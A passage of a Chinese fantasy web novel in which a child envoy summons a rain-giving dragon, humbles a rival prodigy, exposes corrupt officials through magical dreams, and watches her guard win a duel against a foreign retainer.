巨大的龙头微微向后一缩,那双原本睥睨天下的大眼睛里,竟然瞬间蓄满了一层水汽,发出了委委屈屈的哼唧声。
“呜嘤嘤……”
一声带着颤音的、巨大版的呜咽,回荡在寂静的祭天台上。
萧杰昀回过了神,喉结滚动:“团团,它在说什么?”
团团收回小手,一本正经地解释:“皇伯父,它说它听错啦!”
听,听错了?一条神龙?
萧杰昀一时竟不知该作何表情,只能默默地消化着这巨大的信息量。
而那“呜嘤”撒娇的金龙,却还不肯离开,反而像个做错了事又渴望安慰的小孩子,不停地用巨大的鼻头轻轻去拱团团的小身子,喉咙里发出“咕噜咕噜”的巨大声响。
太大了!萧杰昀被它拱得身子晃了晃,快站不住了。
团团伸出小手顺势抱住了它的大鼻头:“好啦好啦,知道错啦就好!不许谁的话都听哦!我会生气的!”
金龙立刻发出了一声欢快的低吟,兴奋异常地直飞到空中,撒欢一样盘旋了几圈,巨大的龙尾在云层中不停甩动。
很快,它又飞回了祭天台边,依依不舍地用龙须缠了缠团团的手腕,猛地转过头,那双刚刚还充满讨好和亲昵的大眼,在看向公孙止的瞬间,顿时充满了被人冒犯的怒火!
它甩动龙尾,狠狠一扫。
“啊!”公孙止一声惊叫,整个人如同断线的风筝般被扫飞出去,划出一道狼狈的弧线,重重砸向祭天台的下方!
姜信带着护卫们一拥而上,虽然接住了他,奈何那股力道实在太大,几人在地上一起滚作了一团。
不知是谁先没忍住,“噗嗤”一声笑了出来。
笑声迅速蔓延,渐渐响遍了全场。
“大夏神童,原来只不过是个说大话的黄口小儿啊!”
“人家神龙根本就不理他!”
“啧啧啧,真是丢人现眼!”
公孙止摔倒时以头抢地,发丝凌乱,满脸灰尘,身上的白袍彻底成了污浊的抹布,狼狈不堪。
他不可置信地大喊:“不!这绝不可能!国师说我气运滔天!是天命所归!怎么会?怎么会!”
萧宁辰立于台边,俯视着他,声音冰冷:“看来,所谓神童,不过是个哗众取宠,欺世盗名之徒啊。”
几次三番害我妹妹,岂能如此轻易放过你!
他高声道:“只是不知,神童那‘求雨不得,便愿受烈火焚身之罚’的誓言,可还作数?”
第159章 天机不可窥探
“烈火焚身”!
公孙止浑身猛地一颤,自己的誓言犹在耳边!
他的脸色瞬间苍白。
金龙巨大的耳朵敏锐地动了动,用龙须讨好地先碰了碰团团。
随即扭过庞大的头颅,对着台下的公孙止轻轻一吹。
“呼——”
一道细长的金色火线,精准无误地射向了他。
“啊——!”公孙止的惨叫声瞬间划破天际!
身上的白袍迅速燃烧起来,那金色的火焰诡异无比,无论他如何来回滚动,护卫们如何用力扑打,依旧附着在他身上,灼烧着他的衣衫和皮肉!
萧杰昀冷冷地俯视着他,你偷走朕的国运,导致大旱成灾,黎民遭难,多少百姓丢了性命,流离失所,这便是你应得的下场。
萧宁辰冷哼一声,走回到父亲身边,萧元珩冲着他微微一笑:“干的好!”
庆王铁青着脸,恨恨地望着在火焰中挣扎的公孙止,废物!
远在大夏的巫罗,面前的凤仪宫轰然倒塌,羊皮卷无火自燃,火苗卷着凤仪宫的虚影,迅速化为灰烬。
人群中,很快弥漫开一股焦糊的气味。
公孙止不停哀嚎,那火焰烧了好一会儿,才缓缓熄灭。
留下一个蜷缩在地上不住抽搐的身影。
姜信脱下外袍盖在他身上,一把抱起,转身离开。
那些曾经为他欢呼的百姓,看着他的惨状,心中只剩下鄙夷和后怕。
团团看着姜信远去的背影:“早跟你说过的,偷的东西,是要还的!你非要越偷越多!”
她冲着金龙招了招手,巨大的龙头再次伸了过来,萧杰昀下意思身体绷紧,天哪,这也太大了!
团团轻轻戳了戳金龙的大脸,又指了指天上:“好啦,别玩啦。”
“赶紧吐水呀,大家都等着呢。”
仿佛被她戳得很是舒服,金龙发出了满足的“呜咕”声。
它抬起了头,庞大的龙躯扶摇直上,直入云霄。
随即便开始在烈国的上空威严而优雅地不停盘旋,张开巨口,降下无数甘霖。
雨水滋润着干裂的土地,驱散了所有人心头的阴霾。
所有人欢呼雀跃。
“下雨了!真的下雨了!”
“是仙使!是仙使为我们求来的雨!”
“拜谢仙使!拜谢郡主!”
“仙使万福——!”
“原来,大夏的神童是假的,咱们的仙使才是真的啊!”
金龙盘旋良久,冲入云层消失无踪。
萧杰昀放下团团,亲自叩拜:“朕,谢上苍,解我黎民之苦!”
俯身抱起团团,登上舆驾,萧元珩父子率军骑马相随,众人返回皇宫。
所经之处,所有的百姓尽皆跪拜,虔诚地高呼万岁。
走进凤仪宫,团团叽叽喳喳将今日求雨的经过告诉了皇后和娘亲。
程如安不由得双手合十念了一句:“神仙真人保佑啊!”
她搂着女儿:“团团,你给金龙的是什么东西啊?哪里来的?”
团团回道:“娘亲,那是我在碧波池底捡到的东西啊!”
程如安看了一眼慕容瑾,两人都是一脸困惑:“碧波池底?”
“对啊!那天我做了一个梦,掉进了碧波池。”
“娘亲!本来那里又黑又冷的,后来突然就亮了,也不冷了,我就在碧波池底捡到了那个东西。”
“我一看,这个东西,皇伯父求雨用得到啊!然后不就赶过去了嘛。”
“咦?”团团这才看到自己枕边的小鼎,“这是什么啊?”
程如安叹了口气:“你突然高热,昏迷不醒,娘亲想到了国师,这是他放在这里的。”
团团拿着小鼎翻来覆去的看:“原来就是这个东西的光啊!”
程如安道:“拿来吧,娘亲去还给国师,多谢他相救之恩。”
“我也去!”团团蹦了起来。
辞别了皇后,程如安带着她,马不停蹄地赶到了国师府。
楚渊看了母女俩一眼:“小郡主洪福齐天,果然逢凶化吉了。”
程如安千恩万谢:“多谢国师相救小女,只是不知,这鼎?”
楚渊微微一笑,接过那尊小鼎:“有人想夺郡主的气运,困住了她,致使郡主神魂受扰,沉疴不起。”
“贫道这混元鼎,别无他用,只是在郡主灵台混沌之时,为她定住心神,守住本源。”
他目光落在团团身上:“此鼎秉性中和,将那些外来的恶念其尽数吸纳转化,反而滋养郡主的本源,助她一举冲破困局。”
楚渊唇角微扬:“作恶之人处心积虑,倒是阴差阳错,为郡主锦上添花。”
程如安情不自禁地又念了一句:“真是神仙真人保佑啊!敢问国师是否知道,团团在碧波池底捡到的东西,究竟是什么?”
“这孩子只知对求雨有用,却说不清楚究竟是何物。”
楚渊缓缓站起,走到窗边,抬头望向九天:“那是龙之逆鳞。”
“郡主能于梦中得此机缘,乃是天意,亦是郡主福运所至。”
团团恍然大悟:“原来那是龙鳞啊!可是,怎么会在碧波池呢?”
楚渊回头看她,微微一笑:“天机不可窥探啊,小郡主。”
程如安闻言,急忙站起,拉着女儿给国师行了礼,再次谢过后,带着团团回到了王府。
次日早朝。
萧杰昀端坐龙椅,面无表情地俯视着下面跪着的庆王。
庆王的额头紧贴着冰冷的地砖:“昨日祭天大典,臣见百姓受苦,心如刀割,一时情急,失了分寸,请陛下恕罪!”
萧杰昀微微颔首:“你既心系百姓,朕,便成全你。”
庆王后背的冷汗瞬间浸湿了内衫。
“传朕旨意。”萧杰昀目光扫过满朝文武,“庆王,即刻离京。返回封地,无诏不得入京!”
“念其封地灾情严峻,特设监察司,由户部、兵部抽调人员入驻,助你赈灾安民,一应钱粮调度,皆需经由监察司核验!”
庆王暗暗咬牙,这是明摆着在自己的身边插钉子啊!
萧杰昀顿了顿:“你此次进京,还因世子病重,需在京中诊治。”
“朕便特赐恩典,命太医给他悉心医治,病愈之后,给七皇子做个伴读,朕亲自替你管教。”
这分明是将世子扣为了人质!
庆王不敢抬头,连连叩首:“陛下!犬子病弱,当不起皇子伴读之责!还是让臣,带回封地去吧。”
萧杰昀轻哼一声:“庆王莫非是觉得,世子留在朕的身边,有何不妥吗?”
庆王浑身一颤,心知此事已再无转圜的余地了。
他缓缓地、重重地头磕了个头:“臣!谢主隆恩!”
皇帝冷冷地看着他:“退下吧。即刻便起程,莫要耽搁了。”
庆王踉跄着站起,弓着身子退出大殿,转身离去。
望着他离去的背影,大殿上众臣凛然。
几日后,大夏,皇宫。
一个锦衣华服,容貌艳丽的贵妇,扶着身旁宫女急匆匆走入一间寝殿。
“止儿怎么了?是谁害他?本宫要他偿命!”
第160章 多做几个这样的梦就好啦
姜信急忙跪倒行礼:“给淑妃娘娘请安!”
她走到床边,看着浑身是伤的公孙止,又急又怒:“姜信!你一直在殿下身边,究竟发生了什么?给本宫说清楚!”
姜信将求雨大典上发生的事情讲了一遍。
“你的意思是,将止儿害成这样的,是烈国的那个什么仙使?”
“是!”
淑妃看了他一眼,扭头看向床边正给儿子涂抹药膏的巫罗:“国师,止儿伤势如何?可能痊愈?”
巫罗手上没停,淡淡的回道:“娘娘不必担心,殿下是神明转世,自会恢复如初。”
“只是此次伤得太重,恐是需要些时日了。”
“烈国那个仙使,国师可有办法将她除掉?”
巫罗手一停:“贵妃娘娘是想?”
淑妃柳眉立起,恨恨地道:“我要她生不如死!”
当晚,宁王府。
团团又做梦了。
“咦,这是哪里啊?”她站在一个从没去过的院落里,一脸困惑。
我为什么会在这里?
她好奇地在四处溜达,这里摸摸,那里看看,对一切充满了好奇。
有下人捧着东西走过,团团跑过去:“你是谁啊?这里是哪儿啊?”
下人没有任何反应,继续向前走。
团团皱了皱眉头,这是怎么回事?她们好像看不见,也听不见我。
她继续向前,来到了一处精致的厢房外,里面隐约的对话声吸引了她的注意。
进去看看,她念头一动,身体便像一缕轻烟般穿了进去。
一个容貌姣好的妇人正和一个管家打扮的人凑在一处,神态亲密,对着面前的几个账册低声嘀咕。
“这批绸缎的亏空,必须拿别的东西顶上去,可千万不能让侯爷知道。”
管家嘿嘿一笑,满脸谄媚:“你放心,侯爷整日里只知饮酒作乐,哪会细看这些。”
团团的小耳朵动了动。
她虽然听不太明白,但是“不能让侯爷知道”这句话她听懂了!
道长爷爷说过,一般不能让别人知道的事,多半就是坏事!
那女子继续道:“等这笔银子到手,将那天看中的宅子买了吧,以后也有了去处,不必在侯府中这般小心翼翼。”
管家回道:“都听你的,小心肝儿。”
这两个肯定不是好人!
她环顾屋内,一眼看到靠窗的桌案上有个青玉大花瓶。
她嘿嘿一乐,走过去,双手用力一推。
“哐当”一声巨响,那沉重的青玉花瓶晃了晃,跌碎在地。
声音在寂静的黑暗中刺耳无比地传了出去。
“哎呀!”那女子惊呼出声。
“什么声音?!”
“有贼?快来人啊!”
整个院落瞬间炸开了锅!
脚步声、惊呼声、拔刀声乱成一团,无数灯笼火把将院子里瞬间照得亮如白昼。
一个一看就是刚从床上爬起,身上衣衫乱糟糟的男子怒气冲冲地赶了过来:“怎么回事?谁敢在本侯府上撒野!”
咦,这不是抢我碎金羹那个坏蛋的爹吗?
原来,这是他的家啊!
韦政秋一眼就看到自己最宠爱的柳姨娘房门大开。
管家正衣衫不整,脸色煞白地站在门边,神情惊恐万状。
韦政秋的目光在两人凌乱的衣衫和惊慌的神色上来回扫视,脑子里瞬间补全了一出“奸夫淫妇私会,不慎打碎花瓶”的大戏。
“好你们两个狗男女!”他气得头顶冒烟,差点背过气去,“竟竟敢在本侯的眼皮子底下……!”
“来人!把这対奸夫淫妇给我绑起来!查!给我查!”
“把他们经手的账簿,东西,都给我查一遍!”
柳姨娘和管家跪倒在地,面无人色。
团团看着这鸡飞狗跳、乱作一团的场面,满意地拍了拍小手。
真好玩!
下一个去哪里呢,对了,那个秋猎时被弹飞的老头!去他家看看!
心念一动,她又站在了一个宴会厅里。
哇,好亮啊!灯火通明,一群人坐在一起,觥筹交错。
周锦华正在府中设宴,款待几位同僚。
他举着酒杯朗声道:“诸位,我等既食君之禄,便当忠君之事,钱财乃身外之物,清廉方是立身之本!”
“侯爷所言极是!”一个肥嘟嘟的官员立刻附和,“满朝文武,谁不知靖海侯是出了名的两袖清风,实乃我辈楷模啊!”
“言之有理!”
“侯爷风骨,令人敬佩!”
“敬侯爷!”
场面和谐无比。
团团站在周锦华的身旁,看看这个,又看看那个。
周锦华一饮而尽,继续高谈阔论:“吾辈当以奢靡为耻!绝不可效仿那等贪墨之徒……”
团团玩心大起,凑到周锦华耳边,轻声道:“那你的银子都藏在哪里了啊?”
她话音一落,周锦华只觉得一股莫名的冲动直冲天灵盖,嘴巴完全不受自己控制,声音洪亮地接了下去。
“绝不可效仿那等贪墨之徒,将不义之财,诸如那三万两银票,藏在书房的《论语》之中,行那等龌龊之事!吾等……呃?!”
他慷慨激昂的话语戛然而止,如同被瞬间掐住了脖子的公鸡,眼睛瞪得溜圆,满脸的得意和红光瞬间褪去,只剩下一脸惨白的惊惶错愕。
“哐当!”一个宾客手中的酒杯掉在桌上,酒水洒了一身。
方才还热闹非凡的厅内,此刻寂静一片。
所有宾客都目瞪口呆地看着主位上呆若木鸡的周锦华。
三、三万两?
《论语》?
团团嘿嘿一笑,心满意足,回家去!
不出三日,京城的茶馆酒肆就炸开了锅。
"听说了吗?韦侯爷府上出大事了!”
"他那个最得宠的小妾,半夜和管家在房里私会,还一起坑了韦侯爷不少银子!”
“你怎么知道的?”
“我姑妈的二舅就在侯府里当差!那晚动静可大了,花瓶都摔碎了!”
“原来如此!”
“镇国侯不算啥,靖海侯那才叫绝!”
“自己在家宴客,酒劲一上来,直接把藏银票的地方说出来了!”
“在哪?在哪?”
“就在他书房的《论语》里!整整三万两!”
全场哗然。
“哈哈哈,这可真的是书中自有黄金屋了!”
众人笑作一团。
这两桩奇闻成了京城最热门话题,很快,也传进了宁王府中。
萧元珩笑道:“这事儿传到了圣上耳中,陛下下旨斥责了镇国侯家事不清,还彻查了靖海侯。”
团团眨了眨大眼睛,呀!原来,我梦里做的事是真的啊!太好玩啦!
以后要是能多做几个这样的梦就好啦!
次日,团团吃完早饭刚一抬眼,两个身影大步而来。
“大哥哥!三哥哥!”
第161章 给母妃弄死她
团团兴奋地从凳子上滑下来,冲着两个哥哥便扑了过去。
萧宁远朗声大笑,弯腰稳稳接住扑来的小团子,将她高高举过头顶,掂了掂分量。
“嚯,我们团团重了不少!不错!”
萧宁珣伸手轻轻捏了捏妹妹的小脸蛋:“想不想三哥啊?”
“当然想啦!”团团冲着他伸开了小胳膊,萧宁珣急忙将她接了过来。
团团舍不得放开大哥的脖子,一手搂着一个:“你们都回来啦!真好!”小短腿顺势在空中欢快地蹬来蹬去。
“哎哟!别摔着你!”萧宁珣连忙往大哥身边贴了过去。
萧元珩夫妇闻声而来,看见三个儿女,喜笑颜开。
一家人难得团聚,花厅内充满了欢声笑语。
众人落座,叙过别情,话题自然而然地转到了两人此番外出的见闻上。
萧宁珣感触颇深:“此次跟随老师南下,只见商贸繁盛,港口船只往来如织,十分繁华。”
“反观我烈国,此前因旱情困顿,商业凋敝。”
“如今既灾情已解,正该效仿,开放部分港口,降低商税,吸引四方商贾。”
“若能借此机会,加速各路商业流通,必能快速充盈国库。”
萧宁远闻言接口:“三弟所言极是。”
“我在北境亦有所感。边疆各族与我烈国民众私下货品交换频繁,却因无官方渠道,多生事端,且利银还要被中间蛇头盘剥。”
“若能由朝廷出面,在边境设立官方互市,明定规则,公平交易,既可安定边疆,又能收取税赋,一举两得。”
萧元珩点了点头:“确是涨了不少见识,不错。看来你们这趟远行,都没白走。”
“大灾刚过,如今陛下正为国库空虚发愁,此事若成,于国于民,皆是大利!”
他越想越觉得此事可行:“事不宜迟,你们可有想过具体条陈?我明日,不,今日便进宫面圣,向陛下禀明!”
兄弟两人相视一笑。
萧宁辰从袖中取出一卷装订整齐的册子:“父亲,这是儿臣整理的《通商十策》,详述了港口选址、税制改良等细则。”
萧宁愿则从怀中掏出一卷纸帐,上面画着边境地形:“这是我亲笔所绘的互市布防图,还有各族的交易习惯,皆已注明。”
萧元珩看着儿子们早有准备的模样,甚是欣慰:“深思熟虑,方能把握先机。”
“好!做得好!”
他仔细翻看,频频点头:“远儿这图粗中有细,珣儿的条陈详尽清楚。好!我这就更衣进宫。”
他刚站起来,团团便拉了拉他的衣角:“爹爹,我也想去,我想大狼和雪团儿了。”
萧元珩微微一笑,俯身捞起女儿:“好!爹爹去见你皇伯父,你去皇后娘娘那里看它们!”
“好哎!”团团高兴地拍了拍小手。
兄弟两人一脸困惑:“皇后娘娘?大狼和雪团?”
程如安微笑道:“你们不在的这些日子,发生的事儿可多了。”
“那是你妹妹在皇后娘娘宫中养的小猫小狗。”
二人恍然大悟,心中明了,妹妹肯定是跑到皇宫里折腾去了,不禁会心一笑。
“你们快去歇息,我带团团进宫。”
“是。”
紫宸殿中,萧杰昀听着宁王的陈述,看着手中这两份文书,
脸上露出了激赏之色。
“此议深合朕心!”萧杰昀想了想,“既要广开商路,便要沟通有无。明日,朕便以朝廷名义,广发国书,邀请周边列国,来我烈国京城,共襄此次‘天下商贸盛会’!”
“陛下英明!”
萧元珩从紫宸殿出来,去凤仪宫去接女儿。
还未踏入正殿,就已经听到了团团和萧林萧进的笑声。
慕容瑾给团团拿了许多甜品,万分不舍地看着萧元珩抱着团团离开了。
次日,圣旨一下,驿骑四出,烈国将举办天下商贸盛会的消息,迅速传遍了周边诸国。
大夏皇宫。
一个十五六岁的少年,身穿墨色常服,头戴玄玉发冠,静静地坐在淑妃的面前。
他剑眉星目,眉峰锐利,眉间一点殷红色的朱砂痣分外显眼。
“母妃,我刚去看过了弟弟,他已比原先好多了,请母妃放心。”
“父皇已将烈国的国书交予儿臣,命儿臣以储君之名出访,去赴烈国的天下商贸盛会。”
淑妃面露惊讶:“储君?”
她想了想:“你父皇圣心始终未定,如今却让你顶了这么个名号,就为了出访烈国?”
“商贸盛会?呵……”淑妃冷笑一声,“宏儿,本宫不管你父皇给了你什么旨意,本宫只要你记住,国事纵然要紧,但你此去,有一件事,更为紧要!”
她身体前倾,紧紧盯着儿子,眼中尽是刻骨的恨意:“烈国那个‘仙使’,那个害得你弟弟卧床的妖孽,给母妃弄死她!为你弟弟报仇!”
公孙宏面色不变,抬眼迎上母亲近乎疯狂的目光:“母妃放心,止弟之辱,亦是儿臣之辱,更是我大夏之辱。”
“儿臣必不会让她再活在这世上!”
淑妃摆了摆手:“去吧,你出行前,别忘了去一趟国师府。问问国师,是否有东西交予你,助你此次顺利。”
公孙宏眼神微动,国师虽然老奸巨猾但却深不可测,走之前去拜见一下,若有他助力,此行把握自然更大。
“是,儿臣谨记。”他躬身行礼,转身退出。
团团最近有些郁闷,怎么再也没做那天那样的梦了呢,奇怪。
在梦里畅行无阻的打坏蛋实在是太过瘾了。
可惜,她又开始沾枕头就一觉到天亮了。
不过,大哥哥和三哥哥都回来啦!
兄弟俩整天陪着妹妹到处逛,这里吃,那里玩,全都想把这几个月没在她身边的时间给补回来。
萧二默默地跟着兄妹三人,四人的足迹踏遍了京城的各个角落。
这日午后,几人逛到西城门附近。
发现这里比往常更热闹,人群熙攘,似在等待着什么。
团团奇怪:“今天这里人好多呀。”
萧宁珣向前张望了一眼:“盛会在即,想必是哪个国家的使团要从此处进城吧。”
正说着,城门方向传来一阵礼乐之声,人群骚动。
几人随着人群也向前挤去。
团团眼睛一亮:“大三哥!”
第162章 你弟弟现在好了吗
她奋力钻到最前,挥舞着小手:“大三哥!大三哥!你去哪儿啦?我好久没见到你啦!”
其他几人连忙跟了上去。
萧泽听到团团的声音,快步走了过来。
几人连忙行礼:“七殿下。”
萧泽点了点头,弯下腰笑着刮了一下团团的小鼻子:“前段时间,父皇命我出京了一趟,昨日才回来的。”
“你怎么逛到这儿来了?一会儿有使团抵达,人太多了,你躲远些,别碰着了。”
团团仰着头,满不在乎:“好啊,我最喜欢看热闹啦!”
萧泽无奈一笑,刚想再多嘱咐两句,身后礼乐声响起,只得匆匆返回了迎接的队伍。
萧泽站在最前,一排礼部官员立于道旁,仪仗鲜明。
萧宁珣见状道:“要七殿下亲自迎接,不知是哪国的皇子来了。”
城门口缓缓驶进了一个长长的车队。
萧宁远见到使团车队上的旗帜,脸色一变:“是大夏的使团!”
团团拉了拉萧二的衣角:“二叔叔,抱。”
萧二一把将她高高抱起,站在了人群的最前。
公孙宏端坐于骏马之上,身姿挺拔。
他一脸淡然,显然久居高位,对这样的场面早已司空见惯,剑眉之下,眉间那点殷红朱砂痣在阳光下格外醒目。
见一位身着皇子服饰的少年率众上前,公孙宏利落地翻身下马,站在了萧泽面前。
萧泽行礼道:“烈国七皇子萧泽,奉父皇之命,在此恭迎殿下。”
公孙宏从容回礼:“原来是七殿下。”
“大夏储君英王公孙宏,有劳殿下亲迎。”
萧泽回道:“殿下远道而来,一路辛苦。驿馆已备妥,愿殿下此行在我烈国,宾至如归。”
两个少年都是**贵胄,目光交汇间,锋芒悄然碰撞。
公孙宏微微一笑,翻身上马,跟着萧泽前往驿馆。
马儿经过团团面前时,团团小手一抬:“你眉心的红点点,怎么和那个偷神那么像呀!你是谁呀?”
公孙宏一拉缰绳,停住了。
目光冰冷地俯视着团团。
萧二手臂一紧,兄弟两人同时上前半步,将妹妹护在中间。
萧泽脸上笑容顿失,眼神锐利地看向公孙宏。
公孙宏端坐马上,面容沉静:“七殿下,这便是贵国的待客之道吗?”
“一个小孩子也敢当街质问他国储君?”
萧泽道:“殿下有所不知,此乃是我烈国仙使,嘉佑郡主。”
围观的百姓闻言都纷纷往团团这边张望。
那日祭天台很高,大部分人都离得很远,只是看到了台上那个小小身影,看不清楚长相。
“仙使?那个小女娃就是那天求雨的仙使?”
“长得真好看啊!”
“仙!使?”公孙宏面色微变,握着缰绳的手瞬间收紧。
原来,这就是害了止弟的罪魁祸首!
他语气轻慢:“原来,这就是贵国仙使啊,失敬失敬。”
团团仰着小脸,默默地看了他片刻:“你在说谎哦!”
她伸出手指,点了点自己的胸口,又指了指公孙宏:“你这里,明明就很生气。”
“说谎可不是好孩子。”
公孙宏挑眉,朱砂痣猛地一跳。
他第一次真正垂下目光,正视这个被人抱在怀里,还不及他腰高的小娃娃。
“看来你跟孤的弟弟很熟啊,仙使。”
他竟是偷神的哥哥!难怪他脸上也有红点点!
“哦!”团团懂了,不停点头,一张小嘴儿连珠炮似地,“你弟弟现在好了吗?”
“他偷了那么多气运,一时半会儿是不会有事的。”
“不过,你一定要告诉他啊,不能再偷了!”
“不然啊,以后只会更惨!”
“真的哦!我没骗你!你回去后一定记着跟他说啊!”
“你是他的哥哥,怎么也不好好管管他呢?让他到处偷人家东西?”
萧宁远和萧宁辰死死抿住嘴唇,生怕笑出了声音,当众伤了这位大夏储君的颜面。
萧二的大脑袋扭了过去,低低的垂到了团团的身后,他实在是控制不住脸上的表情,只能将自己的脸藏了起来。
萧泽紧握双拳,才忍住了没去扶额。
百姓们一听,这位大夏来的皇子原来就是那个神童的哥哥,议论声四起。
“嗨!我以为大夏是谁来了呢!原来是那个神童的哥哥啊!”
“我们仙使说得对!”
“你那
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个弟弟就是欠管教!”
“小小的年纪,好的不学,净学些招摇撞骗的本事!”
“以后可学点儿好吧!”
公孙宏的脸色迅速地涨成了猪肝色,死死盯住了团团,握着缰绳的手都气得直发抖。
大夏车队中,最靠前的马车中一个苍老的声音传了出来:“姜城!还站着做什么!去给殿下牵马,回驿馆。”
“是!”
一个身材魁梧高大的男子走到公孙宏的身旁,伸手接过了缰绳:“殿下,该走了。”牵着马便往前走。
萧二看着姜城,眼睛微微一眯:“我记得,公孙止身边的那个护卫,叫做姜信。”
团团想起来了:“就是那个在圣医谷冲着咱们扔小刀的坏蛋?”
萧二点了点头,望着姜城的背影,默默地记在了心上。
萧泽将大夏使团送到驿馆后,命侍卫回去复命,自己则来到了宁王府中。
团团一行人也刚到家:“咦,大三哥,你不用去陪偷神的哥哥吗?”
萧泽笑了:“你这个小淘气包啊!公孙宏在大夏,素来以山崩于前不动声,海啸于后不变色著称。”
“今日大庭广众之下被你气得手都抖了。”
“你可真行啊!”
团团想了想:“我没气他啊!我说的都是真话啊!”
萧宁远将妹妹抱起,往她嘴里塞了块桂花糖:“就是真话,才气人呢!”
萧宁珣看着萧泽,问道:“七殿下,今日马车里出声的那位老者是谁啊,竟能在那般境地下,做储君的主。”
萧泽喝了口茶:“那是大夏著名的文相司马东辰啊!”
“大夏朝堂与咱们不同,他们设立一文一武两相,辅佐天子治理朝政。”
“想来那大夏皇帝是想让储君多些历练,派他来出访,却又担心他火候不够,所以,命文相相随。”
“原来如此!”萧宁珣点了点头,“那就难怪了。”
萧泽嘱咐了一句:“团团跟大夏积怨已深,如今大夏来了这么多人,你们带着她出去玩,要多加小心啊!”说完便告辞走了。
谁也没有想到,仅仅才过了两日,萧宁远和萧宁珣进宫去见驾,萧二独自抱着团团去百味轩吃饭,进门便看到了姜城。
第163章 不准打二叔叔
萧二冷着脸扫了姜城一眼。
姜城显然也没料到会在此处遇见他们,脚下一顿。
两个同样高大魁梧的男人彼此注视,顿时火星四溅。
团团搂着萧二的脖子:“二叔叔,怎么了?”
萧二没有回答,盯着姜城的眼睛问道:“姜信是你什么人?”
姜城瞳孔一缩:“你认识我弟弟?”
团团恍然大悟:“原来你就是那个坏蛋的哥哥!”
姜城脸色一沉,目光如刀般刺向团团。
团团小胸脯一挺,下巴一抬:“你凶什么?”
萧二将她放在地上,拉到身后,用自己宽阔的身影将她完全护住,看着姜城冷冷的道:“你吓到我家小姐了。”
姜城哼了一声:“那又怎样!黄口小儿,乳臭未干!”
萧二也哼了一声:“你们大夏那个欺世盗名的神童,难道不是乳臭未干的黄口小儿?”
“我没工夫跟你废话,姜城。”
“既然你是姜信的哥哥,那么他在圣医谷偷袭我家小姐这笔帐,今日我便要跟你讨回来!”
姜城丝毫不惧:“可以,你想怎么讨?”
萧二想了想:“这百味轩有一后院。”
“你我今日既在此巧遇,不如便在此地比试一场。”
“谁被对方打到倒地不起,便算谁输。如何,你可敢应战?”
“此乃烈国,你远道而来,若是需要见证,大可回驿馆去叫几个人过来。”
“我在此恭候。”
姜城摇了摇头:“打个架而已,要什么见证!后院在哪里?”
萧二听了,倒也佩服他是个痛快的汉子,抬手往后面一指。
“稍等,我安顿好我家小姐。”
萧二来到二楼,找到一个正对着后院的雅间:“小二,这间。”
“来嘞!您呐!”小二急忙过来,摆上各种时令的茶水果子。
“拿着!”萧二掏出一块银子扔给了小二,”告诉你们掌柜的,借后院一用!”
小二接住了银子,那后院经常被宾客临时用来赏景宴客:“好嘞!客观!您尽管用!”
萧二从窗口飞出,落在了后院中。
团团趴在窗口探出小脑袋往下看,又紧张又兴奋:“二叔叔!揍他!”
萧二抬头冲她微微一笑,与姜城瞬间便斗在了一处。
其他雅间里的人听到声音,也纷纷探出头往下张望。
“这谁啊?比武吗?”
“不知道哇!比武不去校场?酒楼后院里比?”
“那个黑壮汉子脸熟!像是宁王府的!”
“咦,那个人穿的是大夏的服饰!”
萧二步沉力猛,拳出如枪,腿扫如鞭,走的是军中搏杀的刚猛路子,每一招都直取要害。
姜城则以巧应变,身形如水中游鱼。
他并不硬接萧二的招式,多以巧劲化去萧二霸道的力道,偶尔抓住间隙,出手如电,刁钻地袭向萧二的关节软肋,阴狠异常。
两人身形交错,拳脚碰撞间发出沉闷的“砰砰”声响。
萧二一拳直捣中宫,姜城侧身避过,反手一记手刀疾切萧二颈侧。
萧二不闪不避,左臂格挡,右腿横扫对方下盘。
两人实力相当,棋逢对手,斗得难分难解,一时间谁也奈何不了谁。
团团看到萧二逼退姜城,立刻眉开眼笑。
看到姜城一记横扫令萧二后退一步,气得直拍窗棂。
“坏蛋!不准打二叔叔!”
姜城冷哼一声:“是他自己讨打!”
团团被他这句话气得脸都红了。
眼见楼下两人身影翻飞,再次陷入胶着,难分胜负。
团团急坏了。
她在屋内上上下下不停扫视,这个!
一把抓起面前一双干净的竹筷往地上一扔。
气呼呼地嘟囔了一句:“让你的腿像筷子一样,直挺挺地待一会儿!”
微光一闪,筷子消失无踪。
正欲施展身法绕到萧二侧翼的姜城,脸色骤然一变!
双腿仿佛瞬间如同两根硬邦邦的木棍,不受自己控制,不仅无法弯曲,甚至连基本的平衡都维持不住了!
“噗通!”
他像一截被砍倒的木桩,直挺挺地向后仰面摔倒在地,激起一片尘土。
他试图用手撑地,可腰部以下如同不属于自己,那股诡异的僵直感让他根本无法凭借腿力站起,只能狼狈地徒劳挣扎。
萧二的拳头停在了半空,他虽不明所以,但依照约定,胜负已分,不必再战,立刻收势后退一步。
他对着姜城抱拳:“承让。”
他想起团团说公孙宏的话:“回去好生管教一下你弟弟。”
“哈哈哈!”团团见刚才还
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凶神恶煞的坏蛋,此刻像个小乌龟一样四脚朝天,顿时笑得开心极了。
其他雅间的看客们纷纷鼓掌哄笑不止。
“大夏人这功夫,不如咱们烈国啊!”
“可不是嘛!”
姜城躺倒在地,连连运气,腿上却依旧僵硬,一脸惊骇,难道我突发重病了?从今以后我的腿就这样了吗?
我可是侍卫首领啊!
团团看着他,觉得有些可怜:“别乱动啦,一会儿就好啦!”
姜城更是一惊,难道说,烈国仙使是个医师?
萧二叫来店小二:“去驿馆叫几个人来,将他抬回去吧。”
“好嘞!客官!”
萧二走回雅间,团团扑过去抱住他的腿:“二叔叔真厉害!给我出气啦!”
萧二黝黑的大脸微微一红,将她抱起放在凳子上,两人美滋滋的吃了一顿,回了王府。
当晚,萧二毫无隐瞒,将今日之事禀告了宁王。
“末将鲁莽,殴打大夏使团之人,请王爷责罚!”
萧元珩一笑:“打便打了,是他们先对团团下手,挨顿揍已经算轻的了。”
萧二开怀一笑:“谢王爷!”
驿馆。
公孙宏皱着眉头,看着躺在床上的姜城。
姜城如实禀告,自己的腿是打斗中突然变成了这个样子,那个烈国仙使说,一会儿便能好。
“殿下,末将请罪,不该与那烈国人比试,令大夏蒙羞。”
公孙宏沉默不语,这个仙使,果然不简单啊。
本想派姜城带几个人直接截杀了她,如今看来,此举不可行。
至于姜城和萧二今日的比武,又不是在校场上的公开比试,倒还无妨。
他摇了摇头,低声道:“你歇着吧,若明日还不好,孤便上呈烈国皇帝,请太医来给你医治。”
姜城点头:“多谢殿下。”
次日一早,姜城的腿果然恢复了,不禁对团团生出了一丝忌讳,这个仙使,究竟是会医术,还是邪术?
